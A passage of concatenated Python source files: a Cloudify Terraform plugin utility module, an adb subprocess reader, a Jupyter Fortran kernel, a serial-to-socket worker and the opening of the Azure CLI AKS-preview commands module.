os.path.isdir(f) and f in rel_subdirs: try: subdirs.remove(ntpath.basename(f)) except ValueError: pass def file_storage_breaker(filepath): filesize = Path(filepath).stat().st_size if filesize > 50000: max_stored_filesize = get_ctx_node().properties.get( 'max_stored_filesize', 500000) if filesize >= max_stored_filesize: ctx.logger.warn( 'The file {f} exceeds max file size {s} ' 'set in the max_stored_filesize property: {m}' .format(f=filepath, s=filesize, m=max_stored_filesize)) return True elif '.terraform/plugins' in filepath: store_plugins_dir = get_ctx_node().properties.get( 'store_plugins_dir', False) if not store_plugins_dir: ctx.logger.warn( 'Not preserving file {f}, ' 'because it is in plugins directory.'.format(f=filepath)) return True return False def _zip_archive(extracted_source, exclude_files=None, **_): """Zip up a folder and all its sub-folders, except for those that we wish to exclude. :param extracted_source: The location. :param exclude_files: A list of files and directories, that we don't want to put in the zip. :param _: :return: """ ctx.logger.debug("Zipping source {source}".format(source=extracted_source)) exclude_files = exclude_files or [] ctx.logger.debug('Excluding files {l}'.format(l=exclude_files)) with tempfile.NamedTemporaryFile(suffix=".zip", delete=False) as updated_zip: updated_zip.close() with zipfile.ZipFile(updated_zip.name, mode='w', compression=zipfile.ZIP_DEFLATED) as output_file: for dir_name, subdirs, filenames in os.walk(extracted_source): # Make sure that the files that we don't want # to include (e.g. plugins directory) will not be archived. exclude_dirs(dir_name, subdirs, exclude_files) for filename in filenames: # Extra layer of validation on the excluded files. if not exclude_file(dir_name, filename, exclude_files): # Create the path as we want to archive it to the # archivee. file_to_add = os.path.join(dir_name, filename) # The name of the file in the archive. if file_storage_breaker(file_to_add): continue arc_name = file_to_add[len(extracted_source)+1:] output_file.write(file_to_add, arcname=arc_name) archive_file_path = updated_zip.name return archive_file_path def _unzip_archive(archive_path, target_directory, source_path=None, **_): """ Unzip a zip archive. """ # Create a temporary directory. # Create a zip archive object. # Extract the object. ctx.logger.debug('Unzipping {src} to {dst}.'.format( src=archive_path, dst=target_directory)) src = unzip_archive(archive_path, skip_parent_directory=False) copy_directory(src, target_directory) remove_dir(src) return target_directory def clean_strings(string): if isinstance(string, text_type): return string.encode('utf-8').rstrip("'").lstrip("'") return string def _file_to_base64(file_path): # By getting here, "terraform_source_zip" is the path to a ZIP # file containing the Terraform files. # We need to encode the contents of the file and set them # as a runtime property. base64_rep = BytesIO() with open(file_path, 'rb') as f: base64.encode(f, base64_rep) return base64_rep.getvalue().decode('utf-8') def _create_source_path(source_tmp_path): # didn't download anything so check the provided path # if file and absolute path or not if not os.path.isabs(source_tmp_path): # bundled and need to be downloaded from blueprint source_tmp_path = ctx.download_resource(source_tmp_path) if os.path.isfile(source_tmp_path): file_name = source_tmp_path.rsplit('/', 1)[1] file_type = file_name.rsplit('.', 1)[1] # check type if file_type == 'zip': unzipped_source = unzip_archive(source_tmp_path, False) os.remove(source_tmp_path) source_tmp_path = unzipped_source elif file_type in TAR_FILE_EXTENSTIONS: unzipped_source = untar_archive(source_tmp_path, False) os.remove(source_tmp_path) source_tmp_path = unzipped_source return source_tmp_path def is_using_existing(target=True): """Decide if we need to do this work or not.""" resource_config = get_resource_config(target=target) if not target: tf_rel = find_terraform_node_from_rel() if tf_rel: resource_config = tf_rel.target.instance.runtime_properties.get( 'resource_config', {}) return resource_config.get('use_existing_resource', True) def get_binary_location_from_rel(): tf_rel = find_terraform_node_from_rel() terraform_config = tf_rel.target.node.properties.get( 'terraform_config', {}) candidate_a = terraform_config.get('executable_path') candidate_b = get_executable_path() if candidate_b and os.path.isfile(candidate_b): return candidate_b if candidate_a and os.path.isfile(candidate_a): return candidate_a raise NonRecoverableError( "Terraform's executable not found in {0} or {1}. Please set the " "'executable_path' property accordingly.".format( candidate_b, candidate_a)) def find_terraform_node_from_rel(): return find_rel_by_type( ctx.instance, 'cloudify.terraform.relationships.run_on_host') def update_resource_config(new_values, target=False): instance = get_ctx_instance(target=target) resource_config = get_resource_config(target=target) resource_config.update(new_values) instance.runtime_properties['resource_config'] = resource_config def get_resource_config(target=False): """Get the cloudify.nodes.terraform.Module resource_config""" instance = get_ctx_instance(target=target) resource_config = instance.runtime_properties.get('resource_config') if not resource_config or ctx.workflow_id == 'install': node = get_ctx_node(target=target) resource_config = node.properties.get('resource_config', {}) return resource_config def get_provider_upgrade(target=False): """Get the cloudify.nodes.terraform.Module provider_upgrade""" instance = get_ctx_instance(target=target) provider_upgrade = instance.runtime_properties.get('provider_upgrade') if not provider_upgrade: node = get_ctx_node(target=target) provider_upgrade = node.properties.get('provider_upgrade', False) return provider_upgrade def get_terraform_config(target=False): """get the cloudify.nodes.terraform or cloudify.nodes.terraform.Module terraform_config""" instance = get_ctx_instance(target=target) terraform_config = instance.runtime_properties.get('terraform_config') if terraform_config: return terraform_config node = get_ctx_node(target=target) return node.properties.get('terraform_config', {}) def update_terraform_source_material(new_source, target=False): """Replace the terraform_source material with a new material. This is used in terraform.reload_template operation.""" ctx.logger.info(new_source) new_source_location = new_source new_source_username = None new_source_password = None node_instance_dir = get_node_instance_dir(target=target) if isinstance(new_source, dict): new_source_location = new_source['location'] new_source_username = new_source.get('username') new_source_password = new_source.get('password') ctx.logger.debug('Getting shared resource: {} to {}'.format( new_source_location, node_instance_dir)) source_tmp_path = get_shared_resource( new_source_location, dir=node_instance_dir, username=new_source_username, password=new_source_password) ctx.logger.debug('Source Temp Path {}'.format(source_tmp_path)) # check if we actually downloaded something or not if source_tmp_path == new_source_location: source_tmp_path = _create_source_path(source_tmp_path) # By getting here we will have extracted source # Zip the file to store in runtime terraform_source_zip = _zip_archive(source_tmp_path) bytes_source = _file_to_base64(terraform_source_zip) os.remove(terraform_source_zip) if os.path.abspath(os.path.dirname(source_tmp_path)) != \ os.path.abspath(get_node_instance_dir(target)): remove_dir(source_tmp_path) return bytes_source def get_terraform_source_material(target=False): """In principle this is the binary data of a zip archive containing the Terraform state and plan files. However, during the install workflow, this might also be the binary data of a zip archive of just the plan files. """ instance = get_ctx_instance(target=target) source = instance.runtime_properties.get('terraform_source') if not source: resource_config = get_resource_config(target=target) source = update_terraform_source_material( resource_config.get('source'), target=target) return source def get_installation_source(target=False): """This is the URL or file where we can get the Terraform binary""" resource_config = get_resource_config(target=target) source = resource_config.get('installation_source') if not source: raise NonRecoverableError( 'No download URL for terraform binary executable file was ' 'provided and use_external_resource is False. ' 'Please provide a valid download URL.') return source def get_executable_path(target=False): """The Terraform binary executable. It should either be: null, in which case it defaults to /opt/manager/resources/deployments/{tenant}/{deployment_id}/terraform or it will be /usr/bin/terraform, and this should be used as an existing resource. Any other value will probably not work for the user. """ instance = get_ctx_instance(target=target) executable_path = instance.runtime_properties.get('executable_path') if not executable_path: terraform_config = get_terraform_config(target=target) executable_path = terraform_config.get('executable_path') if not executable_path: executable_path = \ os.path.join(get_node_instance_dir(target=target), 'terraform') if not os.path.exists(executable_path) and \ is_using_existing(target=target): node = get_ctx_node(target=target) terraform_config = node.properties.get('terraform_config', {}) executable_path = terraform_config.get('executable_path') instance.runtime_properties['executable_path'] = executable_path return executable_path def get_storage_path(target=False): """Where we install all of our terraform files. It should always be: /opt/manager/resources/deployments/{tenant} /{deployment_id} """ resource_config = get_resource_config(target=target) deployment_dir = get_node_instance_dir(target=target) storage_path = resource_config.get('storage_path') if storage_path and storage_path is not deployment_dir: raise NonRecoverableError( 'The property resource_config.storage_path ' 'is no longer supported.') instance = get_ctx_instance(target=target) instance.runtime_properties['storage_path'] = deployment_dir instance.update() return deployment_dir def get_plugins_dir(target=False): """Plugins are installed into this directory. It should always be: /opt/manager/resources/deployments/{tenant} /{deployment_id}/.terraform/plugins """ resource_config = get_resource_config(target=target) storage_path = get_storage_path(target=target) source_path = get_source_path(target=target) if source_path: storage_path = os.path.join(storage_path, source_path) plugins_dir = resource_config.get( 'plugins_dir', os.path.join(storage_path, '.terraform', 'plugins')) if storage_path not in plugins_dir: raise NonRecoverableError( 'Terraform plugins directory {plugins} ' 'must be a subdirectory of the storage_path {storage}.'.format( plugins=plugins_dir, storage=storage_path)) return plugins_dir def get_plugins(target=False): """These are plugins that the user wishes to install.""" resource_config = get_resource_config(target=target) return resource_config.get('plugins', {}) def get_source_path(target=False): resource_config = get_resource_config(target=target) source_path = resource_config.get('source_path') source = resource_config.get('source', {}) if 'source_path' in source: source_path = source['source_path'] return source_path def update_source_path(source_path=None): resource_config = get_resource_config() source = resource_config.get('source', {}) resource_config['source_path'] = source_path source.update({'source_path': source_path}) resource_config['source'] = source return resource_config def create_plugins_dir(plugins_dir=None): """Create the directory where we will install all the plugins.""" # Create plugins directory, if needed. if plugins_dir: if os.path.isdir(plugins_dir): ctx.logger.error('Plugins directory already exists: {loc}'.format( loc=plugins_dir)) else: ctx.logger.error('Creating plugins directory: {loc}'.format( loc=plugins_dir)) mkdir_p(plugins_dir) # store the values in the runtime for safe keeping -> validation ctx.instance.runtime_properties['plugins_dir'] = plugins_dir def remove_dir(folder, desc=''): if os.path.isdir(folder): if len(folder.split(os.sep)) < 3: return ctx.logger.debug( 'Removing {desc}: {dir}'.format(desc=desc, dir=folder)) try: shutil.rmtree(folder) except OSError as e: ctx.logger.error( 'Unable to safely remove temporary extraction of archive. ' 'Error: {}'.format(str(e))) elif os.path.islink(folder): ctx.logger.debug('Unlinking: {}'.format(folder)) os.unlink(folder) elif os.path.isfile(folder): if not remove_dir(folder): os.remove(folder) else: ctx.logger.debug( 'Directory {dir} doesn\'t exist; skipping'.format(dir=folder)) def handle_plugins(plugins, plugins_dir, installation_dir): """Create the directory where we will download requested plugins into, and then download them into it.""" create_plugins_dir(plugins_dir) # Install plugins. if not isinstance(plugins, dict): raise NonRecoverableError( 'The plugins value is not valid: {value} ' 'If you wish to use custom Terraform providers must provide a ' 'dictionary in the following format: search.path/provider_name.' '' 'For example:' 'plugins: \n' ' registry.terraform.io/hashicorp/template: ' 'https://releases.hashicorp.com/terraform-provider-template/' '2.1.2/' 'terraform-provider-template_2.1.2_linux_amd64.zip\n'.format( value=plugins) ) for plugin_name, plugin_url in plugins.items(): with tempfile.NamedTemporaryFile( suffix=".zip", delete=False, dir=installation_dir) as plugin_zip: plugin_zip.close() ctx.logger.debug('Downloading Terraform plugin: {url}'.format( url=plugin_url)) download_file(plugin_zip.name, plugin_url) unzip_path = os.path.join(plugins_dir, plugin_name) mkdir_p(os.path.dirname(unzip_path)) unzip_and_set_permissions(plugin_zip.name, unzip_path) os.remove(plugin_zip.name) def dump_file(output, work_directory, file_name): if output: file_path = os.path.join(work_directory, file_name) fd = open(file_path, 'w') fd.write(output) fd.close() def extract_binary_tf_data(root_dir, data, source_path): """Take this encoded data and put it in a zip file and then unzip it.""" with tempfile.NamedTemporaryFile(dir=root_dir, delete=False) as f: base64.decode(StringIO(data), f) terraform_source_zip = f.name # By getting here, "terraform_source_zip" is the path # to a ZIP file containing the Terraform files. _unzip_archive(terraform_source_zip, root_dir, source_path) @contextmanager def get_terraform_source(): """Get the JSON/TF files material for the Terraform template. Dump in in the file yielded by _yield_terraform_source """ material = get_terraform_source_material() return _yield_terraform_source(material) @contextmanager def update_terraform_source(new_source=None, new_source_path=None): """Replace the stored terraform resource template data""" if new_source: material = update_terraform_source_material(new_source) else: # If the plan operation passes NOone, then this would error. material = get_terraform_source_material() return _yield_terraform_source(material, new_source_path) def _yield_terraform_source(material, source_path=None): """Put all the TF resource template data into the work directory, let the operations do all their magic, and then store it again for later use. """ module_root = get_storage_path() source_path = source_path or get_source_path() extract_binary_tf_data(module_root, material, source_path) ctx.logger.debug('The storage root tree:\n{}'.format(tree(module_root))) path_to_init_dir = get_node_instance_dir(source_path=source_path) try_to_copy_old_state_file(path_to_init_dir) try: yield path_to_init_dir except Exception as e: _, _, tb = sys.exc_info() cause = exception_to_error_cause(e, tb) ctx.logger.error(str(cause)) raise e finally: ctx.logger.debug('Re-packaging Terraform files from {loc}'.format( loc=module_root)) archived_file = _zip_archive( module_root, exclude_files=[get_executable_path(), get_plugins_dir()]) # Convert the zip archive into base64 for storage in runtime # properties. base64_rep = _file_to_base64(archived_file) os.remove(archived_file) ctx.logger.warn('The after base64_rep size is {size}.'.format( size=len(base64_rep))) if v1_gteq_v2(get_cloudify_version(), "6.0.0"): ctx.logger.debug('Not storing zip in runtime properties in ' 'Cloudify 6.0.0 and greater') elif len(base64_rep) > get_ctx_node().properties.get( 'max_runtime_property_size', 100000): raise Exception('Not storing terraform_source, ' 'because its size is {}'.format(len(base64_rep))) else: ctx.logger.info('Storing zip "terraform source" in ' 'runtime properties.') ctx.instance.runtime_properties['terraform_source'] = \ base64_rep ctx.instance.runtime_properties['resource_config'] = \ get_resource_config() if source_path: ctx.instance.runtime_properties['resource_config'][ 'source_path'] = source_path ctx.instance.runtime_properties['previous_tf_state_file'] = \ get_terraform_state_file(path_to_init_dir) def try_to_copy_old_state_file(target_dir): for p in os.listdir(target_dir): if p.endswith('tfstate'): return p = ctx.instance.runtime_properties.get( 'previous_tf_state_file') if p and os.path.exists(p) and os.stat(p).st_size: shutil.copy2(p, target_dir) def get_terraform_state_file(target_dir=None): """Create or dump the state. This is only used in the terraform.refresh_resources operations and it's possible we can get rid of it. """ for p in os.listdir(target_dir): if p.endswith('tfstate'): return os.path.join(target_dir, p) storage_path = get_storage_path() state_file_path = os.path.join(storage_path, TERRAFORM_STATE_FILE) encoded_source = get_terraform_source_material() source_path = get_source_path() # with tempfile.NamedTemporaryFile(delete=False) as f: with tempfile.NamedTemporaryFile() as f: base64.decode(StringIO(encoded_source), f) try: extracted_source = _unzip_archive(f.name, storage_path, source_path) except zipfile.BadZipFile: extracted_source = None if not extracted_source: return for dir_name, subdirs, filenames in os.walk(extracted_source): for filename in filenames: if filename == TERRAFORM_STATE_FILE: state_file_from_storage = os.path.join(dir_name, filename) if not os.path.exists(state_file_path): ctx.logger.warn( 'There is no existing state file {loc}.'.format( loc=state_file_path)) if not filecmp.cmp(state_file_from_storage, state_file_path): ctx.logger.warn( 'State file from storage is not the same as the ' 'existing state file {loc}. Using any way.'.format( loc=state_file_path)) shutil.move(os.path.join(dir_name, filename), state_file_path) break shutil.rmtree(extracted_source) ctx.logger.debug('TF State file: {}.'.format(state_file_path)) return state_file_path def create_backend_string(name, options): backend_block = convert_json_hcl(extract_hcl_from_dict( { 'type_name': 'backend', 'option_name': name, 'option_value': options } )) return 'terraform {{\n{}}}'.format(indent(backend_block, ' ')) def create_provider_string(items): provider = "" for item in items: provider += convert_json_hcl(extract_hcl_from_dict( { 'type_name': 'provider', 'option_name': item.get('name'), 'option_value': item.get('options') } )) provider += "\n" return provider def refresh_resources_properties(state, output): """Store all the resources (state and output) that we created as JSON in the context.""" resources = {} for resource in state.get('resources', []): resources[resource[NAME]] = resource for module in state.get('modules', []): for name, definition in module.get('resources', {}).items(): resources[name] = definition ctx.instance.runtime_properties['resources'] = resources # Duplicate for backward compatibility. ctx.instance.runtime_properties[STATE] = resources ctx.instance.runtime_properties['outputs'] = output def refresh_resources_drifts_properties(plan_json): """ Store all drifts(changes) in resources we created in runtime properties. The change represent the difference between the current state and the desired state. The desired state is the infrastructure crated from terraform source. means that the tf template is the source of truth. :param plan_json: dictionary represent json output of plan, as described here: https://www.terraform.io/docs/internals/json-format.html#plan -representation """ ctx.instance.runtime_properties[IS_DRIFTED] = False drifts = {} resource_changes = plan_json.get('resource_changes', []) for resource_change in resource_changes: change = resource_change.get('change', {}) if change['actions'] not in [['no-op'], ['read']]: ctx.instance.runtime_properties[IS_DRIFTED] = True drifts[resource_change[NAME]] = change ctx.instance.runtime_properties[DRIFTS] = drifts def is_url(string): try: result = requests.get(string) except requests.ConnectionError: return False if result.status_code == 404: ctx.logger.warn('The source {source} is a valid URL, ' 'but is not found.'.format(source=string)) return True def handle_previous_source_format(source): ctx.logger.info('Source: {}'.format(source)) if isinstance(source, dict): return source elif isinstance(source, str) and is_url(source): return {'location': source} try: return json.loads(source) except (ValueError, TypeError): if is_url(source): return {'location': source} return source # Stolen from the script plugin, until this class # moves to a utils module in cloudify-common. class OutputConsumer(object): def __init__(self, out): self.out = out self.consumer = threading.Thread(target=self.consume_output) self.consumer.daemon = True def consume_output(self): for line in self.out: self.handle_line(line) self.out.close() def handle_line(self, line): raise NotImplementedError("Must be implemented by subclass") def join(self): self.consumer.join() class LoggingOutputConsumer(OutputConsumer): def __init__(self, out, logger, prefix): OutputConsumer.__init__(self, out) self.logger = logger self.prefix = prefix self.consumer.start() def handle_line(self, line): self.logger.info('{0}{1}'.format(text_type(self.prefix), line.decode('utf-8').rstrip('\n'))) class CapturingOutputConsumer(OutputConsumer): def __init__(self, out): OutputConsumer.__init__(self, out) self.buffer = StringIO() self.consumer.start() def handle_line(self, line): self.buffer.write(line.decode('utf-8')) def get_buffer(self): return self.buffer def tree(dir_path, level=-1, limit_to_directories=False, length_limit=1000000): """Stolen from here: https://stackoverflow.com/questions/9727673/ list-directory-tree-structure-in-python :param dir_path: :param level: :param limit_to_directories: :param length_limit: :return: """ space = ' ' branch = '│ ' tee = '├── ' last = '└── ' if not isinstance(dir_path, Path): dir_path = Path(dir_path) files = 0 directories = 0 tree_lines = [] def inner(dir_path, prefix=None, level=-1): prefix = prefix or '' nonlocal files, directories if not level: return if limit_to_directories: contents = [d for d in dir_path.iterdir() if d.is_dir()] else: contents = list(dir_path.iterdir()) pointers = [tee] * (len(contents) - 1) + [last] for pointer, path in zip(pointers, contents): if path.is_dir(): yield prefix + pointer + path.name directories += 1 extension = branch if pointer == tee else space yield from inner(path, prefix=prefix+extension, level=level-1) elif not limit_to_directories: yield prefix + pointer + path.name files += 1 tree_lines.append(dir_path.name) iterator = inner(dir_path, level=level) for line in islice(iterator, length_limit): tree_lines.append(line) if next(iterator, None): tree_lines.append( '... length_limit, {}, reached, counted:'.format(length_limit)) tree_lines.append( '\n{} directories'.format(directories) + ( ', {} files'.format(files) if files else '')) return '\n'.join(tree_lines)
nonblock.py
import sys import time from subprocess import PIPE, Popen from threading import Thread from queue import Queue, Empty ON_POSIX = 'posix' in sys.builtin_module_names def enqueue_output(out, queue): for line in iter(out.readline, b''): queue.put(line) print("EOF") out.close() command = 'adb shell dumpsys activity services' p = Popen(command.split(' '), stdout=PIPE, bufsize=1, close_fds=ON_POSIX) q = Queue() cmdThread = Thread(target=enqueue_output, args=(p.stdout, q)) cmdThread.daemon = True # thread dies with the program cmdThread.start() print("doing other things") for i in range(20): # read line without blocking try: line = q.get_nowait() # or q.get(timeout=.1) except Empty: print('no output yet') else: # got line print(line) print('.') time.sleep(0.1)
kernel.py
from queue import Queue from threading import Thread from ipykernel.kernelbase import Kernel import subprocess import tempfile import os import os.path as path class RealTimeSubprocess(subprocess.Popen): """ A subprocess that allows to read its stdout and stderr in real time """ def __init__(self, cmd, write_to_stdout, write_to_stderr): """ :param cmd: the command to execute :param write_to_stdout: a callable that will be called with chunks of data from stdout :param write_to_stderr: a callable that will be called with chunks of data from stderr """ self._write_to_stdout = write_to_stdout self._write_to_stderr = write_to_stderr super().__init__(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, bufsize=0) self._stdout_queue = Queue() self._stdout_thread = Thread(target=RealTimeSubprocess._enqueue_output, args=(self.stdout, self._stdout_queue)) self._stdout_thread.daemon = True self._stdout_thread.start() self._stderr_queue = Queue() self._stderr_thread = Thread(target=RealTimeSubprocess._enqueue_output, args=(self.stderr, self._stderr_queue)) self._stderr_thread.daemon = True self._stderr_thread.start() @staticmethod def _enqueue_output(stream, queue): """ Add chunks of data from a stream to a queue until the stream is empty. """ for line in iter(lambda: stream.read(4096), b''): queue.put(line) stream.close() def write_contents(self): """ Write the available content from stdin and stderr where specified when the instance was created :return: """ def read_all_from_queue(queue): res = b'' size = queue.qsize() while size != 0: res += queue.get_nowait() size -= 1 return res stdout_contents = read_all_from_queue(self._stdout_queue) if stdout_contents: self._write_to_stdout(stdout_contents) stderr_contents = read_all_from_queue(self._stderr_queue) if stderr_contents: self._write_to_stderr(stderr_contents) class FortranKernel(Kernel): implementation = 'jupyter_fortran_kernel' implementation_version = '0.1' language = 'Fortran' language_version = 'F2008' language_info = {'name': 'fortran', 'mimetype': 'text/plain', 'file_extension': 'f90'} banner = "Fortran kernel.\n" \ "Uses gfortran, compiles in F2008, and creates source code files and executables in temporary folder.\n" def __init__(self, *args, **kwargs): super(FortranKernel, self).__init__(*args, **kwargs) self.files = [] def cleanup_files(self): """Remove all the temporary files created by the kernel""" for file in self.files: os.remove(file) os.remove(self.master_path) def new_temp_file(self, **kwargs): """Create a new temp file to be deleted when the kernel shuts down""" # We don't want the file to be deleted when closed, but only when the kernel stops kwargs['delete'] = False kwargs['mode'] = 'w' file = tempfile.NamedTemporaryFile(**kwargs) self.files.append(file.name) return file def _write_to_stdout(self, contents): self.send_response(self.iopub_socket, 'stream', {'name': 'stdout', 'text': contents}) def _write_to_stderr(self, contents): self.send_response(self.iopub_socket, 'stream', {'name': 'stderr', 'text': contents}) def create_jupyter_subprocess(self, cmd): return RealTimeSubprocess(cmd, lambda contents: self._write_to_stdout(contents.decode()), lambda contents: self._write_to_stderr(contents.decode())) def compile_with_gfortran(self, source_filename, binary_filename): args = ['gfortran', source_filename, '-std=f2008', '-o', binary_filename] return self.create_jupyter_subprocess(args) def do_execute(self, code, silent, store_history=True, user_expressions=None, allow_stdin=False): with self.new_temp_file(suffix='.f90') as source_file: source_file.write(code) source_file.flush() with self.new_temp_file(suffix='.out') as binary_file: p = self.compile_with_gfortran(source_file.name, binary_file.name) while p.poll() is None: p.write_contents() p.write_contents() if p.returncode != 0: # Compilation failed self._write_to_stderr( "[Fortran kernel] gfortran exited with code {}, the executable will not be executed".format( p.returncode)) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} p = self.create_jupyter_subprocess(binary_file.name) while p.poll() is None: p.write_contents() p.write_contents() if p.returncode != 0: self._write_to_stderr("[Fortran kernel] Executable exited with code {}".format(p.returncode)) return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}} def do_shutdown(self, restart): """Cleanup the created source code files and executables when shutting down the kernel""" self.cleanup_files()
process_worker.py
# coding=utf-8 import multiprocessing import serial import socket import os import fuckargs # 没声音就输出1 # 有声音就输出0 # 串口通讯 # 频率的决定者以硬件的串口通讯频率决定 def get_serial_info( whether, sum_list ): os.system( "echo %d >>pid_repo" % os.getpid() ) # store the pid i = 0 while True: res_read = ser.readline()[0] whether.value = res_read # 每1s的数据记录在list中不断更新 i = (i+1) % 200 sum_list[i] = int( res_read ) # socket server def socket_server( whether, sum_list ): os.system( "echo %d >>pid_repo" % os.getpid() ) # store the pid host = fuckargs.get( "host" ) # Symbolic name meaning all available interfaces port = int( fuckargs.get("port") ) # Arbitrary non-privileged port s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) #定义socket类型,网络通信,TCP s.bind( (host, port) ) #套接字绑定的IP与端口 s.listen( 5 ) #开始TCP监听 while True: conn, addr = s.accept() #接受TCP连接,并返回新的套接字与IP地址 # print 'Connected by', addr #输出客户端的IP地址 try: while True: data=conn.recv(1024) #把接收的数据实例化 if data == "whether": res = whether.value elif data == "sum": res = str( sum(sum_list)/2.0 ) else: res = "-1" conn.sendall( res ) except: conn.close() #关闭连接 # Main process ser = serial.Serial( fuckargs.get("usb"), int( fuckargs.get("bits") ) ) chr = multiprocessing.Value('c', '0') sum_list = multiprocessing.Array( 'i', [1]*200 ) os.system( "echo %d >>pid_repo" % os.getpid() ) # store the pid p_serial = multiprocessing.Process( target=get_serial_info, args=(chr, sum_list,) ) p_socket = multiprocessing.Process( target=socket_server, args=(chr, sum_list,) ) p_serial.start() p_socket.start()
custom.py
# pylint: disable=too-many-lines # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- from __future__ import print_function import binascii import datetime import errno import json import os import os.path import platform import re import ssl import stat import subprocess import sys import tempfile import threading import time import uuid import base64 import webbrowser from six.moves.urllib.request import urlopen # pylint: disable=import-error from six.moves.urllib.error import URLError # pylint: disable=import-error from math import isnan import requests from knack.log import get_logger from knack.util import CLIError from knack.prompting import prompt_pass, NoTTYException import yaml # pylint: disable=import-error from dateutil.relativedelta import relativedelta # pylint: disable=import-error from dateutil.parser import parse # pylint: disable=import-error from msrestazure.azure_exceptions import CloudError import colorama # pylint: disable=import-error from tabulate import tabulate # pylint: disable=import-error from azure.cli.core.api import get_config_dir from azure.cli.core.commands.client_factory import get_mgmt_service_client, get_subscription_id from azure.cli.core.keys import is_valid_ssh_rsa_public_key from azure.cli.core.util import in_cloud_console, shell_safe_json_parse, truncate_text, sdk_no_wait from azure.cli.core.commands import LongRunningOperation from azure.graphrbac.models import (ApplicationCreateParameters, PasswordCredential, KeyCredential, ServicePrincipalCreateParameters, GetObjectsParameters) from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ContainerServiceLinuxProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterWindowsProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ContainerServiceNetworkProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterServicePrincipalProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ContainerServiceSshConfiguration from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ContainerServiceSshPublicKey from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedCluster from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterAADProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterAddonProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterAgentPoolProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import AgentPool from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ContainerServiceStorageProfileTypes from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterIdentity from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterAPIServerAccessProfile from .vendored_sdks.azure_mgmt_preview_aks.v2020_03_01.models import ManagedClusterSKU from ._client_factory import cf_resource_groups from ._client_factory import get_auth_management_client from ._client_factory import get_graph_rbac_management_client from ._client_factory import cf_resources from ._client_factory import get_resource_by_name from ._client_factory import cf_container_registry_service from ._client_factory import cf_storage from ._helpers import (_populate_api_server_access_profile, _set_vm_set_type, _set_outbound_type, _parse_comma_separated_list, _trim_fqdn_name_containing_hcp) from ._loadbalancer import (set_load_balancer_sku, is_load_balancer_profile_provided, update_load_balancer_profile, create_load_balancer_profile) from ._consts import CONST_INGRESS_APPGW_ADDON_NAME from ._consts import CONST_INGRESS_APPGW_APPLICATION_GATEWAY_ID, CONST_INGRESS_APPGW_APPLICATION_GATEWAY_NAME from ._consts import CONST_INGRESS_APPGW_SUBNET_PREFIX, CONST_INGRESS_APPGW_SUBNET_ID from ._consts import CONST_INGRESS_APPGW_SHARED, CONST_INGRESS_APPGW_WATCH_NAMESPACE from ._consts import CONST_SCALE_SET_PRIORITY_REGULAR, CONST_SCALE_SET_PRIORITY_SPOT, CONST_SPOT_EVICTION_POLICY_DELETE logger = get_logger(__name__) def which(binary): path_var = os.getenv('PATH') if platform.system() == 'Windows': binary = binary + '.exe' parts = path_var.split(';') else: parts = path_var.split(':') for part in parts: bin_path = os.path.join(part, binary) if os.path.exists(bin_path) and os.path.isfile(bin_path) and os.access(bin_path, os.X_OK): return bin_path return None def wait_then_open(url): """ Waits for a bit then opens a URL. Useful for waiting for a proxy to come up, and then open the URL. """ for _ in range(1, 10): try: urlopen(url, context=_ssl_context()) except URLError: time.sleep(1) break webbrowser.open_new_tab(url) def wait_then_open_async(url): """ Spawns a thread that waits for a bit then opens a URL. """ t = threading.Thread(target=wait_then_open, args=({url})) t.daemon = True t.start() def _ssl_context(): if sys.version_info < (3, 4) or (in_cloud_console() and platform.system() == 'Windows'): try: return ssl.SSLContext(ssl.PROTOCOL_TLS) # added in python 2.7.13 and 3.6 except AttributeError: return ssl.SSLContext(ssl.PROTOCOL_TLSv1) return ssl.create_default_context() def _build_service_principal(rbac_client, cli_ctx, name, url, client_secret): # use get_progress_controller hook = cli_ctx.get_progress_controller(True) hook.add(messsage='Creating service principal', value=0, total_val=1.0) logger.info('Creating service principal') # always create application with 5 years expiration start_date = datetime.datetime.utcnow() end_date = start_date + relativedelta(years=5) result = create_application(rbac_client.applications, name, url, [url], password=client_secret, start_date=start_date, end_date=end_date) service_principal = result.app_id # pylint: disable=no-member for x in range(0, 10): hook.add(message='Creating service principal', value=0.1 * x, total_val=1.0) try: create_service_principal(cli_ctx, service_principal, rbac_client=rbac_client) break # TODO figure out what exception AAD throws here sometimes. except Exception as ex: # pylint: disable=broad-except logger.info(ex) time.sleep(2 + 2 * x) else: return False hook.add(message='Finished service principal creation', value=1.0, total_val=1.0) logger.info('Finished service principal creation') return service_principal def _add_role_assignment(cli_ctx, role, service_principal_msi_id, is_service_principal=True, delay=2, scope=None): # AAD can have delays in propagating data, so sleep and retry hook = cli_ctx.get_progress_controller(True) hook.add(message='Waiting for AAD role to propagate', value=0, total_val=1.0) logger.info('Waiting for AAD role to propagate') for x in range(0, 10): hook.add(message='Waiting for AAD role to propagate', value=0.1 * x, total_val=1.0) try: # TODO: break this out into a shared utility library create_role_assignment(cli_ctx, role, service_principal_msi_id, is_service_principal, scope=scope) break except CloudError as ex: if ex.message == 'The role assignment already exists.': break logger.info(ex.message) except: # pylint: disable=bare-except pass time.sleep(delay + delay * x) else: return False hook.add(message='AAD role propagation done', value=1.0, total_val=1.0) logger.info('AAD role propagation done') return True def _delete_role_assignments(cli_ctx, role, 